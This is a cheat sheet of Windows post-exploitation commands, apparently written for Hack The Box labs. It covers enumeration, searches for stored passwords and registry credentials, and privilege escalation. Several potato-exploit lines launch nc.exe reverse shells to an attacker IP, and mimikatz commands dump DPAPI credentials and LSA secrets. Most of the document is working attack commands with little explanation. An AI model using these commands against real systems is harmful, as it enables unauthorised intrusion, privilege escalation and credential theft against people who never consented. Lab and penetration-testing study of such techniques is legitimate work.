Windows Enumeration
Post-exploitation enumeration commands for Windows machines on HTB.
System Information
# System infosysteminfohostname[System.Environment]::OSVersion
# Architecture$env:PROCESSOR_ARCHITECTURE
# Patches/Hotfixeswmic qfe listGet-HotFix
# Environment variablessetGet-ChildItem Env:Users and Groups
# Current userwhoamiwhoami /allwhoami /priv
# Local usersnet userGet-LocalUser
# Specific usernet user username
# Local groupsnet localgroupGet-LocalGroup
# Group membersnet localgroup Administratorsnet localgroup "Remote Desktop Users"net localgroup "Remote Management Users"
# Domain users (if domain-joined)net user /domainnet group /domainnet group "Domain Admins" /domainNetwork
# Interfacesipconfig /all
# Routesroute print
# Connectionsnetstat -anoGet-NetTCPConnection | Where-Object {$_.State -eq "Listen"}
# ARP tablearp -a
# DNSipconfig /displaydns
# Firewallnetsh advfirewall show allprofilesnetsh advfirewall firewall show rule name=all
# Sharesnet shareProcesses and Services
# Running processestasklist /vGet-Process
# Servicesnet startsc query state= allGet-Service | Where-Object {$_.Status -eq "Running"}
# Unquoted service pathswmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
# Service permissionssc qc ServiceNameaccesschk.exe -ucqv ServiceName
# Scheduled tasksschtasks /query /fo LIST /vGet-ScheduledTask | Where-Object {$_.State -eq "Ready"}
# Installed programswmic product get name,versionGet-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*File System
# Find interesting filesdir /s /b C:\*.txt 2>nuldir /s /b C:\*.ini 2>nuldir /s /b C:\*.config 2>nuldir /s /b C:\*.bak 2>nul
# Search for passwords in filesfindstr /si "password" *.txt *.ini *.config *.xmlfindstr /spin "password" *.*
# Alternate Data Streamsdir /r
# PowerShell historytype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtGet-Content (Get-PSReadLineOption).HistorySavePath
# SAM/SYSTEM backupsdir C:\Windows\System32\config\RegBack\dir C:\Windows\repair\Registry
# AutoLogon credentialsreg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# Saved credentialsreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /sreg query "HKCU\Software\ORL\WinVNC3\Password"
# AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Stored credentialscmdkey /listPrivilege Escalation Vectors
# Check privilegeswhoami /priv# Key privileges: SeImpersonatePrivilege, SeBackupPrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege
# SeImpersonatePrivilege -> Potato attacks.\PrintSpoofer64.exe -c "C:\temp\nc.exe 10.10.14.X 4444 -e cmd".\GodPotato.exe -cmd "C:\temp\nc.exe 10.10.14.X 4444 -e cmd".\JuicyPotatoNG.exe -t * -p "C:\temp\nc.exe" -a "10.10.14.X 4444 -e cmd"
# Unquoted service pathswmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Weak service permissionsaccesschk.exe -uwcqv "Everyone" * /accepteulaaccesschk.exe -uwcqv "Users" * /accepteulaaccesschk.exe -uwcqv "Authenticated Users" * /accepteula
# DLL hijacking# Check service binary paths and writable directories in PATHecho %PATH%Automated Tools
# WinPEAS.\winPEASx64.exe
# PowerUpImport-Module .\PowerUp.ps1Invoke-AllChecks
# Seatbelt.\Seatbelt.exe -group=all
# SharpUp.\SharpUp.exe audit
# PrivescCheckImport-Module .\PrivescCheck.ps1Invoke-PrivescCheck -ExtendedCredential Harvesting
# Saved credentialscmdkey /listrunas /savecred /user:admin cmd.exe
# WiFi passwordsnetsh wlan show profilesnetsh wlan show profile name="SSID" key=clear
# Browser credentials# Use tools like SharpChromium, SharpDPAPI
# DPAPImimikatz# dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\*
# LSA secrets (admin)mimikatz# lsadump::secrets